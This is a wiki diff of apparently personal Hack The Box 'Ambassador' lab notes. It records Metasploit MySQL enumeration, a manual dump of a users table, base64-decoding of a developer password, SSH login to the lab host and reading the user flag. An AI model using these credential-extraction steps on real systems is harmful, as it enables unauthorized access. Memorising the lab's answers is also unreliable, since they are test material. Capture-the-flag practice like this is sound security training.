Differences

This shows you the differences between two versions of the page.

--- ex:htb:ambassador:start [2022/12/22 17:26] – ebaer
+++ ex:htb:ambassador:start [2022/12/22 17:44] (current) – ebaer
@@ Line 314: / Line 314: @@
 msf6 auxiliary(admin/mysql/mysql_enum) > set username grafana
 username => grafana
+msf6 auxiliary(admin/mysql/mysql_enum) > set ConnectTimeout 30
+ConnectTimeout => 30
+msf6 auxiliary(admin/mysql/mysql_enum) > run
 </code>
+-> Timeout (anti metasploit measures?)
+===== MySQL manual =====
+<code>
+show databases;
+use information_schema
+select * from tables;
+| def           | whackywidget       | users                                                | BASE TABLE  | InnoDB             |      10 | Dynamic    |          0 |              0 |       16384 |               0 |            0 |         0 |           NULL | 2022-09-02 00:49:04 | NULL        | NULL       | utf8mb4_0900_ai_ci |     NULL |                                       |                                          |
+| def           | performance_schema | innodb_redo_log_files                                | BASE TABLE  | PERFORMANCE_SCHEMA |      10 | Dynamic    |          1 |              0 |           0 |               0 |            0 |         0 |           NULL | 2022-12-22 09:31:21 | NULL        | NULL       | utf8mb4_0900_ai_ci |     NULL |                                       |                                          |
++---------------+--------------------+------------------------------------------------------+-------------+--------------------+---------+------------+------------+----------------+-------------+-----------------+--------------+-----------+----------------+---------------------+-------------+------------+--------------------+----------+---------------------------------------+------------------------------------------+
+rows in set (0.325 sec)
+MySQL [information_schema]>  use whackywidget;
+Reading table information for completion of table and column names
+You can turn off this feature to get a quicker startup with -A
+Database changed
+MySQL [whackywidget]> show tables;
++------------------------+
+| Tables_in_whackywidget |
++------------------------+
+| users                  |
++------------------------+
+row in set (0.048 sec)
+MySQL [whackywidget]> select * from users;
++-----------+------------------------------------------+
+| user      | pass                                     |
++-----------+------------------------------------------+
+| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
++-----------+------------------------------------------+
+row in set (0.047 sec)
+</code>
+<code>
+echo "YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==" | base64 -d
+anEnglishManInNewYork027468
+</code>
+<code>
+sh developer@10.129.228.56
+developer@10.129.228.56's password:
+Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-126-generic x86_64)
+[...]
+Last login: Fri Sep  2 02:33:30 2022 from 10.10.0.1
+developer@ambassador:~$ cat user.txt
+bdff80ba21c478079a3332f785c4ddba